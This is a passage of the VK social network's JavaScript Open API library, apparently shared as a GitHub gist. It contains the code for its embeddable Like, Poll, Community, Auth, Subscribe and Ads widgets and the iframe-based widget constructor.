limit: options.limit || 5,
max: options.max || 0,
sort: options.sort || 'friend_likes',
verb: options.verb || 0,
period: options.period || 'week',
target: options.target || 'parent'
};
return VK.Widgets._constructor('widget_recommended.php', objId, options, params, {}, {
startHeight: (90 + params.limit * 30),
minWidth: 150,
width: '100%'
});
};
VK.Widgets.Post = function(objId, ownerId, postId, hash, options) {
options = options || {};
var params = {
owner_id: ownerId,
post_id: postId,
hash: hash || '',
width: options.width || 500
}, iframe, rpc, cursorBack;
return VK.Widgets._constructor('widget_post.php', objId, options, params, {
showBox: function(url, props) {
var box = VK.Util.Box((options.base_domain || VK._protocol + '//vk.com') + '/' + url, [], {
proxy: function() {
rpc.callMethod.apply(rpc, arguments);
}
});
box.show();
},
startDrag: function() {
cursorBack = window.document.body.style.cursor;
window.document.body.style.cursor = 'pointer';
},
stopDrag: function() {
window.document.body.style.cursor = cursorBack;
}
}, {
startHeight: 90,
minWidth: 250,
width: '100%'
}, function(o, i, r) {
iframe = i;
rpc = r;
});
};
VK.Widgets.Like = function(objId, options, page) {
var pData = VK.Util.getPageData();
if (!VK._apiId) throw Error('VK not initialized. Please use VK.init');
options = VK.extend(options || {}, {
allowTransparency: true
});
if (options.type == 'button' || options.type == 'vertical' || options.type == 'mini') delete options.width;
var
type = (options.type == 'full' || options.type == 'button' || options.type == 'vertical' || options.type == 'mini') ? options.type : 'full',
width = type == 'full' ? Math.max(200, options.width || 350) : (type == 'button' ? 180 : (type == 'mini' ? 100 : 41)),
btnHeight = parseInt(options.height, 10) || 22,
height = type == 'vertical' ? (2 * btnHeight + 7) : (type == 'full' ? btnHeight + 1 : btnHeight),
params = {
page: page || 0,
url: options.pageUrl || pData.url,
type: type,
verb: options.verb == 1 ? 1 : 0,
color: options.color || '',
title: options.pageTitle || pData.title,
description: options.pageDescription || pData.description,
image: options.pageImage || pData.image,
text: (options.text || '').substr(0, 140),
h: btnHeight
},
ttHere = options.ttHere || false,
isOver = false,
obj, buttonIfr, buttonRpc, tooltipIfr, tooltipRpc, checkTO, statsBox;
function showTooltip(force) {
if ((!isOver && !force) || !tooltipRpc) return;
if (!tooltipIfr || !tooltipRpc || tooltipIfr.style.display != 'none' && tooltipIfr.getAttribute('vkhidden') != 'yes') return;
var scrollTop = options.getScrollTop ? options.getScrollTop() : (document.body.scrollTop || document.documentElement.scrollTop || 0);
var objPos = VK.Util.getXY(obj, options.fixed);
var startY = ttHere ? 0 : objPos[1];
if (scrollTop > objPos[1] - 120 && options.tooltipPos != 'top' || type == 'vertical' || options.tooltipPos == 'bottom') {
tooltipIfr.style.top = (startY + height + 2) + 'px';
tooltipRpc.callMethod('show', false);
} else {
tooltipIfr.style.top = (startY - 125) + 'px';
tooltipRpc.callMethod('show', true);
}
VK.Util.ss(tooltipIfr, {
left: ((ttHere ? 0 : objPos[0]) - (type == 'vertical' || type == 'mini' ? 36 : 2)) + 'px',
display: 'block',
opacity: 1,
filter: 'none'
});
tooltipIfr.setAttribute('vkhidden', 'no');
isOver = true;
}
function hideTooltip(force) {
if ((isOver && !force) || !tooltipRpc) return;
tooltipRpc.callMethod('hide');
buttonRpc.callMethod('hide');
tooltipIfr.style.display = 'none';
}
function handleStatsBox(act) {
hideTooltip(true);
//statsBox = VK.Util.Box(buttonIfr.src + '&act=a_stats_box&widget_width=620');
//statsBox.show();
}
return VK.Widgets._constructor('widget_like.php', objId, options, params, {
initTooltip: function(counter) {
tooltipRpc = new fastXDM.Server({
onInit: counter ? function() {
showTooltip(true)
} : function() {},
proxy: function() {
buttonRpc.callMethod.apply(buttonRpc, arguments);
},
showBox: function(url, props) {
var box = VK.Util.Box((options.base_domain || VK._protocol + '//vk.com/') + url, [props.width, props.height], {
proxy: function() {
tooltipRpc.callMethod.apply(tooltipRpc, arguments);
}
});
box.show();
},
statsBox: handleStatsBox
}, false, {
safe: true
});
tooltipIfr = tooltipRpc.append(ttHere ? obj : document.body, {
src: buttonIfr.src + '&act=a_like_tooltip',
scrolling: 'no',
allowTransparency: true,
id: buttonIfr.id + '_tt',
style: {
position: 'absolute',
padding: 0,
display: 'none',
opacity: 0.01,
filter: 'alpha(opacity=1)',
border: '0',
width: '1px',
height: '1px',
zIndex: 5000,
overflow: 'hidden'
}
});
tooltipIfr.setAttribute('vkhidden', 'yes');
obj.onmouseover = tooltipIfr.onmouseover = function() {
clearTimeout(checkTO);
isOver = true;
};
obj.onmouseout = tooltipIfr.onmouseout = function() {
clearTimeout(checkTO);
isOver = false;
checkTO = setTimeout(function() {
hideTooltip();
}, 200);
};
},
statsBox: handleStatsBox,
showTooltip: showTooltip,
hideTooltip: hideTooltip,
showBox: function(url, props) {
var box = VK.Util.Box((options.base_domain || VK._protocol + '//vk.com/') + url, [], {
proxy: function() {
buttonRpc.callMethod.apply(buttonRpc, arguments);
}
});
box.show();
},
proxy: function() {
if (tooltipRpc) tooltipRpc.callMethod.apply(tooltipRpc, arguments);
}
}, {
startHeight: height,
minWidth: width
}, function(o, i, r) {
buttonRpc = r;
VK.Util.ss(obj = o, {
height: height + 'px',
width: width + 'px',
position: 'relative',
clear: 'both'
});
VK.Util.ss(buttonIfr = i, {
height: height + 'px',
width: width + 'px',
overflow: 'hidden',
zIndex: 150
});
});
};
VK.Widgets.Poll = function(objId, options, pollId) {
var pData = VK.Util.getPageData();
// if (!VK._apiId) throw Error('VK not initialized. Please use VK.init');
if (!pollId) throw Error('No poll id passed');
options = options || {};
var params = {
poll_id: pollId,
url: options.pageUrl || pData.url || location.href,
title: options.pageTitle || pData.title,
description: options.pageDescription || pData.description
};
return VK.Widgets._constructor('widget_poll.php', objId, options, params, {}, {
startHeight: 133,
minWidth: 300,
width: '100%'
});
};
VK.Widgets.PagePoll = function(objId, options, page) {
var pData = VK.Util.getPageData();
// if (!VK._apiId) throw Error('VK not initialized. Please use VK.init');
options = options || {};
var params = {
page: page || 0,
norealtime: options.norealtime ? 1 : 0,
poll_id: options.pollId || '',
url: options.pageUrl || pData.url || location.href,
title: options.pageTitle || pData.title,
description: options.pageDescription || pData.description
};
return VK.Widgets._constructor('al_widget_poll.php', objId, options, params, {}, {
startHeight: 133,
minWidth: 300,
width: '100%'
});
};
VK.Widgets.Community = VK.Widgets.Group = function(objId, options, gid) {
gid = parseInt(gid, 10);
var RPC;
if (!gid) {
throw Error('No group_id passed');
}
options.mode = parseInt(options.mode, 10).toString();
var params = {
gid: gid,
mode: (options.mode) ? options.mode : '0'
};
if (!options.width) options.width = 200;
if (options.wall) params.wall = options.wall;
params.color1 = options.color1 || '';
params.color2 = options.color2 || '';
params.color3 = options.color3 || '';
if (options.no_head) params.no_head = 1;
if (!options.height) options.height = 290;
if (options.wide) {
params.wide = 1;
if (options.width < 300) {
options.width = 300;
}
}
var cursorBack;
function mouseup() {
RPC.callMethod('mouseUp');
return false;
}
function move(event) {
RPC.callMethod('mouseMove', {
screenY: event.screenY
});
return false;
}
return VK.Widgets._constructor('widget_community.php', objId, options, params, {
showBox: function(url, props) {
var box = VK.Util.Box((options.base_domain || VK._protocol + '//vk.com/') + url, [], {
proxy: function() {
rpc.callMethod.apply(rpc, arguments);
}
});
box.show();
},
startDrag: function() {
cursorBack = window.document.body.style.cursor;
window.document.body.style.cursor = 'pointer';
VK.Util.addEvent('mousemove', move);
VK.Util.addEvent('mouseup', mouseup);
},
stopDrag: function() {
window.document.body.style.cursor = cursorBack;
VK.Util.removeEvent('mousemove', move);
VK.Util.removeEvent('mouseup', mouseup);
},
auth: function() {
VK.Auth.login(null, 1);
}
}, {
minWidth: 120,
width: '200',
height: '290',
startHeight: 200
}, function(o, i, r) {
RPC = r;
});
};
VK.Widgets.Auth = function(objId, options) {
var pData = VK.Util.getPageData();
if (!VK._apiId) throw Error('VK not initialized. Please use VK.init');
if (!options.width) {
options.width = 200;
}
if (options.type) {
type = 1;
} else {
type = 0;
}
return VK.Widgets._constructor('widget_auth.php', objId, options, {}, {
makeAuth: function(data) {
if (data.session) {
VK.Auth._loadState = 'loaded';
VK.Auth.setSession(data.session, 'connected');
VK.Observer.publish('auth.loginStatus', {
session: data.session,
status: 'connected'
});
VK.Observer.unsubscribe('auth.loginStatus');
}
if (options.onAuth) {
options.onAuth(data);
} else {
if (options.authUrl) {
var href = options.authUrl;
} else {
var href = window.location.href;
}
if (href.indexOf('?') == -1) {
href += '?';
} else {
href += '&';
}
var vars = [];
for (var i in data) {
if (i != 'session') vars.push(i + '=' + decodeURIComponent(data[i]).replace(/&/g, '%26').replace(/\?/, '%3F'));
}
window.location.href = href + vars.join('&');
}
}
}, {
startHeight: 80
});
};
VK.Widgets.Subscribe = function(objId, options, oid) {
oid = parseInt(oid, 10);
var RPC;
if (!oid) {
throw Error('No owner_id passed');
}
var params = {
oid: oid
};
if (options.mode) {
params.mode = options.mode;
}
if (options.soft) {
params.soft = options.soft;
}
return VK.Widgets._constructor('widget_subscribe.php', objId, options, params, {
showBox: function(url, props) {
var box = VK.Util.Box((options.base_domain || VK._protocol + '//vk.com/') + url, [], {
proxy: function() {
rpc.callMethod.apply(rpc, arguments);
}
});
box.show();
},
auth: function() {
VK.Auth.login(null, 1);
}
}, {
minWidth: 220,
startHeight: 22,
height: options.height || 22
}, function(o, i, r) {
RPC = r;
});
};
VK.Widgets.Ads = function(objId, options, paramsExtra) {
options = options || {};
paramsExtra = paramsExtra || {};
var params = {};
var defaults = {};
var funcs = {};
var obj = document.getElementById(objId);
var iframe;
var rpc;
var adsParams = {};
var adsParamsLocal = {};
var adsParamsDefault = {};
for (var key in paramsExtra) {
var keyFix = (inArray(key, ['hash']) ? key : 'ads_' + key);
adsParams[keyFix] = paramsExtra[key];
}
if (obj && obj.getBoundingClientRect) {
obj.style.width = '100%';
obj.style.height = '100%';
var rect = obj.getBoundingClientRect();
obj.style.width = '';
obj.style.height = '';
adsParams.ads_ad_unit_width_auto = Math.floor(rect.right - rect.left);
adsParams.ads_ad_unit_height_auto = Math.floor(rect.bottom - rect.top);
}
adsParamsDefault.ads_ad_unit_width = 100;
adsParamsDefault.ads_ad_unit_height = 100;
adsParamsLocal.ads_ad_unit_width = (parseInt(adsParams.ads_ad_unit_width) || adsParams.ads_ad_unit_width === 'auto' && adsParams.ads_ad_unit_width_auto || adsParamsDefault.ads_ad_unit_width);
adsParamsLocal.ads_ad_unit_height = (parseInt(adsParams.ads_ad_unit_height) || adsParams.ads_ad_unit_height === 'auto' && adsParams.ads_ad_unit_height_auto || adsParamsDefault.ads_ad_unit_height);
if (adsParams.ads_handler) {
adsParamsLocal.ads_handler = adsParams.ads_handler;
}
if (adsParams.ads_handler_empty_html) {
adsParamsLocal.ads_handler_empty_html = adsParams.ads_handler_empty_html;
}
delete adsParams.ads_handler;
delete adsParams.ads_handler_empty_html;
params.act = 'ads_web';
params.url = location.href;
VK.extend(params, adsParams);
options.noDefaultParams = true;
options.width = adsParamsLocal.ads_ad_unit_width;
options.allowTransparency = true;
defaults.startHeight = adsParamsLocal.ads_ad_unit_height;
defaults.minWidth = adsParamsLocal.ads_ad_unit_width;
funcs.adsOnInitLoader = adsOnInitLoader;
funcs.adsOnInit = adsOnInit;
return VK.Widgets._constructor('ads_rotate.php', objId, options, params, funcs, defaults, onDone);
function adsOnInitLoader(adsScriptVersion) {
VK.Widgets.loading(obj, true);
adsAttachScript(adsScriptVersion);
}
function adsOnInit(errorCode, adsParamsExport) {
VK.Widgets.loading(obj, false);
adsProcessParams(adsParamsExport);
if (options.onAdsReady) options.onAdsReady.apply(options.onAdsReady, Array.prototype.slice.call(arguments));
adsProcessHandler(errorCode);
}
function adsAttachScript(adsScriptVersion) {
if (!('vk__adsLight' in window)) {
window.vk__adsLight = false;
adsScriptVersion = parseInt(adsScriptVersion);
var attachScriptFunc = (VK.Api && VK.Api.attachScript || VK.addScript);
var base_domain = (options.base_domain || VK._protocol + '//vk.com');
attachScriptFunc(base_domain + '/js/al/aes_light.js?' + adsScriptVersion);
} else if (window.vk__adsLight && vk__adsLight.userHandlers && vk__adsLight.userHandlers.onInit) {
vk__adsLight.userHandlers.onInit(false); // false - do not publish initial onInit
}
}
function adsProcessParams(adsParamsExport) {
if (!adsParamsExport) {
return;
}
for (var paramName in adsParamsExport) {
var paramValue = adsParamsExport[paramName];
if (paramName === 'ads_ad_unit_width' || paramName === 'ads_ad_unit_height') {
if (!(paramName in adsParams)) {
adsParamsLocal[paramName] = (parseInt(paramValue) || paramValue === 'auto' && adsParams[paramName + '_auto'] || adsParamsDefault[paramName]);
}
} else {
if (!(paramName in adsParamsLocal)) {
adsParamsLocal[paramName] = paramValue;
}
}
}
}
function adsProcessHandler(errorCode) {
var handlerResult = adsEvalHandler(adsParamsLocal.ads_handler, errorCode);
if (errorCode <= 0 && handlerResult !== true) {
try {
console.log('VK: ad_unit_id = ' + adsParams.ads_ad_unit_id, ', errorCode = ', errorCode);
} catch (e) {}
adsInsertHtmlHandler(adsParamsLocal.ads_handler_empty_html, adsParamsLocal.ads_ad_unit_width, adsParamsLocal.ads_ad_unit_height);
}
}
function adsEvalHandler(handler) {
var result = false;
try {
if (!handler) {
return false;
}
var func = false;
if (isFunction(handler)) {
func = handler;
} else if (isString(handler)) {
var handlerFuncs = handler.split('.');
func = window;
for (var i = 0, len = handlerFuncs.length; i < len; i++) {
func = func[handlerFuncs[i]];
if (!func) {
break;
}
}
if (!func) {
if (handler.substr(0, 8) === 'function') {
handler = 'return ' + handler + ';';
}
var handlerResult = (new Function(handler))();
if (isFunction(handlerResult)) {
func = handlerResult;
} else {
result = handlerResult;
}
}
}
if (func) {
var args = Array.prototype.slice.call(arguments, 1);
result = func.apply(func, args);
}
} catch (e) {
try {
console.error(e);
} catch (e2) {}
}
return result;
function isFunction(obj) {
return Object.prototype.toString.call(obj) === '[object Function]';
}
function isString(obj) {
return Object.prototype.toString.call(obj) === '[object String]';
}
}
function adsInsertHtmlHandler(handlerHtml, width, height) {
if (!handlerHtml) {
return;
}
if (!obj) {
return;
}
width = (width ? width + 'px' : '');
height = (height ? height + 'px' : '');
var iframeHandlerHtml = '<html><head></head><body style="padding: 0; margin: 0;"><div>' + handlerHtml + '</div></body></html>';
var iframeHandler = document.createElement('iframe');
iframeHandler.onload = fixIframeHeight;
iframeHandler.id = (iframe ? iframe.id : ('vkwidget-' + Math.round(Math.random() * 1000000))) + '_ads_html_handler';
iframeHandler.src = 'about:blank';
iframeHandler.width = '100%';
iframeHandler.height = '100%';
iframeHandler.scrolling = 'no';
iframeHandler.frameBorder = '0';
iframeHandler.allowTransparency = true;
iframeHandler.style.overflow = 'hidden';
iframeHandler.style.width = width;
iframeHandler.style.height = height;
obj.style.width = width;
obj.style.height = height;
obj.appendChild(iframeHandler);
iframeHandler.contentWindow.vk_ads_html_handler = iframeHandlerHtml;
iframeHandler.src = 'javascript:window["vk_ads_html_handler"]';
function fixIframeHeight() {
if (height) {
return;
}
try {
var rect = iframeHandler.contentWindow.document.body.firstChild.getBoundingClientRect();
var heightFix = Math.ceil(rect.bottom - rect.top);
if (heightFix) {
iframeHandler.style.height = heightFix;
obj.style.height = heightFix;
}
} catch (e) {}
}
}
function indexOf(arr, value, from) {
for (var i = from || 0, l = (arr || []).length; i < l; i++) {
if (arr[i] == value) return i;
}
return -1;
}
function inArray(value, arr) {
return indexOf(arr, value) != -1;
}
function onDone(o, i, r) {
obj = o;
iframe = i;
rpc = r;
}
};
VK.Widgets._constructor = function(widgetUrl, objId, options, params, funcs, defaults, onDone, widgetId, iter) {
var obj = document.getElementById(objId);
widgetId = widgetId || (++VK.Widgets.count);
if (!obj) {
iter = iter || 0;
if (iter > 10) {
throw Error('VK.Widgets: object #' + objId + ' not found.');
}
setTimeout(function() {
VK.Widgets._constructor(widgetUrl, objId, options, params, funcs, defaults, onDone, widgetId, iter + 1);
}, 500);
return widgetId;
}
var ifr, base_domain, width, url, urlQueryString, encodedParam, rpc, iframe, i;
options = options || {};
defaults = defaults || {};
funcs = funcs || {};
base_domain = options.base_domain || VK._protocol + '//vk.com';
width = (options.width == 'auto') ? obj.clientWidth || '100%' : parseInt(options.width, 10);
if (options.height) {
params.height = options.height;
obj.style.height = options.height + 'px';
} else {
obj.style.height = (defaults.startHeight || 200) + 'px';
}
width = width ? (Math.max(defaults.minWidth || 200, Math.min(10000, width)) + 'px') : '100%';
if (!params.url) {
params.url = options.pageUrl || location.href.replace(/#.*$/, '');
}
url = base_domain + '/' + widgetUrl;
urlQueryString = '';
if (!options.noDefaultParams) {
urlQueryString += '&app=' + (VK._apiId || '0') + '&width=' + width
}
urlQueryString += '&_ver=' + VK.version
if (VK._iframeAppWidget) {
params.iframe_app = 1;
}
for (i in params) {
if (i == 'title' && params[i].length > 80) params[i] = params[i].substr(0, 80) + '...';
if (i == 'description' && params[i].length > 160) params[i] = params[i].substr(0, 160) + '...';
if (typeof(params[i]) == 'number') {
encodedParam = params[i];
} else {
try {
encodedParam = encodeURIComponent(params[i]);
} catch (e) {
encodedParam = '';
}
}
urlQueryString += '&' + i + '=' + encodedParam;
}
urlQueryString += '&' + (+new Date()).toString(16);
url += '?' + urlQueryString.substr(1);
obj.style.width = width;
VK.Widgets.loading(obj, true);
funcs.publish = function() {
var args = Array.prototype.slice.call(arguments);
args.push(widgetId);
VK.Observer.publish.apply(VK.Observer, args);
};
funcs.onInit = function() {
VK.Widgets.loading(obj, false);
if (funcs.onReady) funcs.onReady();
if (options.onReady) options.onReady();
}
funcs.resize = function(e, cb) {
obj.style.height = e + 'px';
var el = document.getElementById('vkwidget' + widgetId);
if (el) {
el.style.height = e + 'px';
}
}
funcs.resizeWidget = function(newWidth, newHeight) {
newWidth = parseInt(newWidth);
newHeight = parseInt(newHeight);
var widgetElem = document.getElementById('vkwidget' + widgetId);
if (isFinite(newWidth)) {
obj.style.width = newWidth + 'px';
if (widgetElem) {
widgetElem.style.width = newWidth + 'px';
}
}
if (isFinite(newHeight)) {
obj.style.height = newHeight + 'px';
if (widgetElem) {
widgetElem.style.height = newHeight + 'px';
}
}
if (options.onResizeWidget) options.onResizeWidget();
}
funcs.updateVersion = function(ver) {
if (ver > 1) {
VK.Api.attachScript('//vk.com/js/api/openapi_update.js?' + parseInt(ver));
}
}
rpc = VK.Widgets.RPC[widgetId] = new fastXDM.Server(funcs, function(origin) {
if (!origin) return true;
origin = origin.toLowerCase();
return (origin.match(/(\.|\/)vk\.com($|\/|\?)/));
}, {
safe: true
});
iframe = VK.Widgets.RPC[widgetId].append(obj, {
src: url,
width: (width.indexOf('%') != -1) ? width : (parseInt(width) || width),
height: defaults.startHeight || '100%',
scrolling: 'no',
id: 'vkwidget' + widgetId,
allowTransparency: options.allowTransparency || false,
style: {
overflow: 'hidden'
}
});
onDone && setTimeout(function() {
onDone(obj, iframe || obj.firstChild, rpc);
}, 10);
return widgetId;
};
}
if (!VK.Util) {
VK.Util = {
getPageData: function() {
if (!VK._pData) {
var metas = document.getElementsByTagName('meta'),
pData = {}, keys = ['description', 'title', 'url', 'image', 'app_id'],
metaName;
for (var i in metas) {
if (!metas[i].getAttribute) continue;
if (metas[i].getAttribute && ((metaName = metas[i].getAttribute('name')) || (metaName = metas[i].getAttribute('property')))) {
for (var j in keys) {
if (metaName == keys[j] || metaName == 'og:' + keys[j] || metaName == 'vk:' + keys[j]) {
pData[keys[j]] = metas[i].content;
}
}
}
}
if (pData.app_id && !VK._apiId) {
VK._apiId = pData.app_id;
}
pData.title = pData.title || document.title || '';
pData.description = pData.description || '';
pData.image = pData.image || '';
if (!pData.url && VK._iframeAppWidget && VK._apiId) {
pData.url = '/app' + VK._apiId;
if (VK._browserHash) {
pData.url += VK._browserHash
}
}
var loc = location.href.replace(/#.*$/, '');
if (!pData.url || !pData.url.indexOf(loc)) {
pData.url = loc;
}
VK._pData = pData;
}
return VK._pData;
},
getStyle: function(elem, name) {
var ret, defaultView = document.defaultView || window;
if (defaultView.getComputedStyle) {
name = name.replace(/([A-Z])/g, '-$1').toLowerCase();
var computedStyle = defaultView.getComputedStyle(elem, null);
if (computedStyle) {
ret = computedStyle.getPropertyValue(name);
}
} else if (elem.currentStyle) {
var camelCase = name.replace(/\-(\w)/g, function(all, letter) {
return letter.toUpperCase();
});
ret = elem.currentStyle[name] || elem.currentStyle[camelCase];
}
return ret;
},
getXY: function(obj, fixed) {
if (!obj || obj === undefined) return;
var left = 0,
top = 0;
if (obj.getBoundingClientRect !== undefined) {
var rect = obj.getBoundingClientRect();
left = rect.left;
top = rect.top;
fixed = true;
} else if (obj.offsetParent) {
do {
left += obj.offsetLeft;
top += obj.offsetTop;
if (fixed) {
left -= obj.scrollLeft;
top -= obj.scrollTop;
}
} while (obj = obj.offsetParent);
}
if (fixed) {
top += window.pageYOffset || window.scrollNode && scrollNode.scrollTop || document.documentElement.scrollTop;
left += window.pageXOffset || window.scrollNode && scrollNode.scrollLeft || document.documentElement.scrollLeft;
}
return [left, top];
},
Box: function(src, sizes, fnc, options) {
fnc = fnc || {};
var overflowB = document.body.style.overflow;
var loader = document.createElement('DIV');
var rpc = new fastXDM.Server(VK.extend(fnc, {
onInit: function() {
iframe.style.background = 'transparent';
iframe.style.visibility = 'visible';
document.body.style.overflow = 'hidden';
document.body.removeChild(loader);
},
hide: function() {
iframe.style.display = 'none';
},
tempHide: function() {
iframe.style.left = '-10000px';
iframe.style.top = '-10000px';
iframe.style.width = '10px';
iframe.style.height = '10px';
document.body.style.overflow = overflowB;
},
destroy: function() {
try {
iframe.src = 'about: blank;';
} catch (e) {}
iframe.parentNode.removeChild(iframe);
document.body.style.overflow = overflowB;
},
resize: function(w, h) {}
}, true), false, {
safe: true
}),
iframe = rpc.append(document.body, {
src: src.replace(/&amp;/g, '&'),
scrolling: 'no',
allowTransparency: true,
style: {
position: 'fixed',
left: 0,
top: 0,
zIndex: 1002,
background: VK._protocol + '//vk.com/images/upload.gif center center no-repeat transparent',
padding: '0',
border: '0',
width: '100%',
height: '100%',
overflow: 'hidden',
visibility: 'hidden'
}
});
loader.innerHTML = '<div style="position: fixed;left: 50%;top: 50%;margin: 0px auto 0px -60px;z-index: 1002;width: 100px;"><div style="background: url(//vk.com/images/upload_inv_mono' + (window.devicePixelRatio >= 2 ? '_2x' : '') + '.gif) no-repeat 50% 50%;background-size: 64px 16px;height: 50px;position: absolute;width: 100%;z-index: 100;"></div><div style="background-color: #000;opacity: 0.7;filter: alpha(opacity=70);height: 50px;-webkit-border-radius: 5px;-khtml-border-radius: 5px;-moz-border-radius: 5px;border-radius: 5px;-webkit-box-shadow: 0px 2px 10px rgba(0, 0, 0, 0.35);-moz-box-shadow: 0px 2px 10px rgba(0, 0, 0, 0.35);box-shadow: 0px 2px 10px rgba(0, 0, 0, 0.35);"></div></div>';
document.body.insertBefore(loader, document.body.firstChild);
return {
show: function(scrollTop, height) {
iframe.style.display = 'block';
document.body.style.overflow = 'hidden';
},
hide: function() {
iframe.style.display = 'none';
document.body.style.overflow = overflowB;
},
iframe: iframe,
rpc: rpc
}
},
addEvent: function(type, func) {
if (window.document.addEventListener) {
window.document.addEventListener(type, func, false);
} else if (window.document.attachEvent) {
window.document.attachEvent('on' + type, func);
}
},
removeEvent: function(type, func) {
if (window.document.removeEventListener) {
window.document.removeEventListener(type, func, false);
} else if (window.document.detachEvent) {
window.document.detachEvent('on' + type, func);
}
},
ss: function(el, styles) {
VK.extend(el.style, styles, true);
}
};
}
// Init asynchronous library loading
window.vkAsyncInit && setTimeout(vkAsyncInit, 0);
if (window.vkAsyncInitCallbacks && vkAsyncInitCallbacks.length) {
setTimeout(function() {
var callback;
while (callback = vkAsyncInitCallbacks.pop()) {
try {
callback();
} catch (e) {
try {
console.error(e);
} catch (e2) {}
}
}
}, 0);
}
try {
if (window.stManager) stManager.done('api/openapi.js');
} catch (e) {}
/* https://socgate.ru/htrack/?id=4f3337d41d8cd91498751554&h=&r=0.049016852397471666 */
/*------------------------------------------------------------------------------------*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment